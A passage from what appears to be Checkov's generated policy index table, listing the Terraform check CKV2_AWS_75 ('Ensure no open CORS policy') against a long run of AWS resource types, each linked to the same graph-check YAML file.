[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2749 | CKV2_AWS_75     | resource | aws_finspace_kx_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2750 | CKV2_AWS_75     | resource | aws_finspace_kx_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2751 | CKV2_AWS_75     | resource | aws_fis_experiment_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2752 | CKV2_AWS_75     | resource | aws_flow_log                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2753 | CKV2_AWS_75     | resource | aws_fms_admin_account                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2754 | CKV2_AWS_75     | resource | aws_fms_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2755 | CKV2_AWS_75     | resource | aws_fms_resource_set                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2756 | CKV2_AWS_75     | resource | aws_fsx_backup                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2757 | CKV2_AWS_75     | resource | aws_fsx_data_repository_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2758 | CKV2_AWS_75     | resource | aws_fsx_file_cache                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2759 | CKV2_AWS_75     | resource | aws_fsx_lustre_file_system                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2760 | CKV2_AWS_75     | resource | aws_fsx_ontap_file_system                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2761 | CKV2_AWS_75     | resource | aws_fsx_ontap_storage_virtual_machine                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2762 | CKV2_AWS_75     | resource | aws_fsx_ontap_volume                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2763 | CKV2_AWS_75     | resource | aws_fsx_openzfs_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2764 | CKV2_AWS_75     | resource | aws_fsx_openzfs_snapshot                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2765 | CKV2_AWS_75     | resource | aws_fsx_openzfs_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2766 | CKV2_AWS_75     | resource | aws_fsx_windows_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2767 | CKV2_AWS_75     | resource | aws_gamelift_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2768 | CKV2_AWS_75     | resource | aws_gamelift_build                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2769 | CKV2_AWS_75     | resource | aws_gamelift_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2770 | CKV2_AWS_75     | resource | aws_gamelift_game_server_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2771 | CKV2_AWS_75     | resource | aws_gamelift_game_session_queue                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2772 | CKV2_AWS_75     | resource | aws_gamelift_script                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2773 | CKV2_AWS_75     | resource | aws_glacier_vault                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2774 | CKV2_AWS_75     | resource | aws_glacier_vault_lock                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2775 | CKV2_AWS_75     | resource | aws_globalaccelerator_accelerator                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2776 | CKV2_AWS_75     | resource | aws_globalaccelerator_cross_account_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2777 | CKV2_AWS_75     | resource | aws_globalaccelerator_custom_routing_accelerator                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2778 | CKV2_AWS_75     | resource | aws_globalaccelerator_custom_routing_endpoint_group              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2779 | CKV2_AWS_75     | resource | aws_globalaccelerator_custom_routing_listener                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2780 | CKV2_AWS_75     | resource | aws_globalaccelerator_endpoint_group                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2781 | CKV2_AWS_75     | resource | aws_globalaccelerator_listener                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2782 | CKV2_AWS_75     | resource | aws_glue_catalog_database                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2783 | CKV2_AWS_75     | resource | aws_glue_catalog_table                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2784 | CKV2_AWS_75     | resource | aws_glue_catalog_table_optimizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2785 | CKV2_AWS_75     | resource | aws_glue_classifier                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2786 | CKV2_AWS_75     | resource | aws_glue_connection                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2787 | CKV2_AWS_75     | resource | aws_glue_crawler                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2788 | CKV2_AWS_75     | resource | aws_glue_data_catalog_encryption_settings                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2789 | CKV2_AWS_75     | resource | aws_glue_data_quality_ruleset                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2790 | CKV2_AWS_75     | resource | aws_glue_dev_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2791 | CKV2_AWS_75     | resource | aws_glue_job                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2792 | CKV2_AWS_75     | resource | aws_glue_ml_transform                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2793 | CKV2_AWS_75     | resource | aws_glue_partition                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2794 | CKV2_AWS_75     | resource | aws_glue_partition_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2795 | CKV2_AWS_75     | resource | aws_glue_registry                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2796 | CKV2_AWS_75     | resource | aws_glue_resource_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2797 | CKV2_AWS_75     | resource | aws_glue_schema                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2798 | CKV2_AWS_75     | resource | aws_glue_security_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2799 | CKV2_AWS_75     | resource | aws_glue_trigger                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2800 | CKV2_AWS_75     | resource | aws_glue_user_defined_function                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2801 | CKV2_AWS_75     | resource | aws_glue_workflow                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2802 | CKV2_AWS_75     | resource | aws_grafana_license_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2803 | CKV2_AWS_75     | resource | aws_grafana_role_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2804 | CKV2_AWS_75     | resource | aws_grafana_workspace                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2805 | CKV2_AWS_75     | resource | aws_grafana_workspace_api_key                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2806 | CKV2_AWS_75     | resource | aws_grafana_workspace_saml_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2807 | CKV2_AWS_75     | resource | aws_grafana_workspace_service_account                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2808 | CKV2_AWS_75     | resource | aws_grafana_workspace_service_account_token                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2809 | CKV2_AWS_75     | resource | aws_guardduty_detector                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2810 | CKV2_AWS_75     | resource | aws_guardduty_detector_feature                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2811 | CKV2_AWS_75     | resource | aws_guardduty_filter                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2812 | CKV2_AWS_75     | resource | aws_guardduty_invite_accepter                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2813 | CKV2_AWS_75     | resource | aws_guardduty_ipset                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2814 | CKV2_AWS_75     | resource | aws_guardduty_malware_protection_plan                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2815 | CKV2_AWS_75     | resource | aws_guardduty_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2816 | CKV2_AWS_75     | resource | aws_guardduty_member_detector_feature                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2817 | CKV2_AWS_75     | resource | aws_guardduty_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2818 | CKV2_AWS_75     | resource | aws_guardduty_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2819 | CKV2_AWS_75     | resource | aws_guardduty_organization_configuration_feature                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2820 | CKV2_AWS_75     | resource | aws_guardduty_publishing_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2821 | CKV2_AWS_75     | resource | aws_guardduty_threatintelset                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2822 | CKV2_AWS_75     | resource | aws_iam_access_key                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2823 | CKV2_AWS_75     | resource | aws_iam_account_alias                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2824 | CKV2_AWS_75     | resource | aws_iam_account_password_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2825 | CKV2_AWS_75     | resource | aws_iam_group                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2826 | CKV2_AWS_75     | resource | aws_iam_group_membership                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2827 | CKV2_AWS_75     | resource | aws_iam_group_policies_exclusive                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2828 | CKV2_AWS_75     | resource | aws_iam_group_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2829 | CKV2_AWS_75     | resource | aws_iam_group_policy_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2830 | CKV2_AWS_75     | resource | aws_iam_group_policy_attachments_exclusive                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2831 | CKV2_AWS_75     | resource | aws_iam_instance_profile                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2832 | CKV2_AWS_75     | resource | aws_iam_openid_connect_provider                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2833 | CKV2_AWS_75     | resource | aws_iam_organizations_features                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2834 | CKV2_AWS_75     | resource | aws_iam_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2835 | CKV2_AWS_75     | resource | aws_iam_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2836 | CKV2_AWS_75     | resource | aws_iam_policy_document                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2837 | CKV2_AWS_75     | resource | aws_iam_role                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2838 | CKV2_AWS_75     | resource | aws_iam_role_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2839 | CKV2_AWS_75     | resource | aws_iam_role_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2840 | CKV2_AWS_75     | resource | aws_iam_role_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2841 | CKV2_AWS_75     | resource | aws_iam_role_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2842 | CKV2_AWS_75     | resource | aws_iam_saml_provider                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2843 | CKV2_AWS_75     | resource | aws_iam_security_token_service_preferences                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2844 | CKV2_AWS_75     | resource | aws_iam_server_certificate                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2845 | 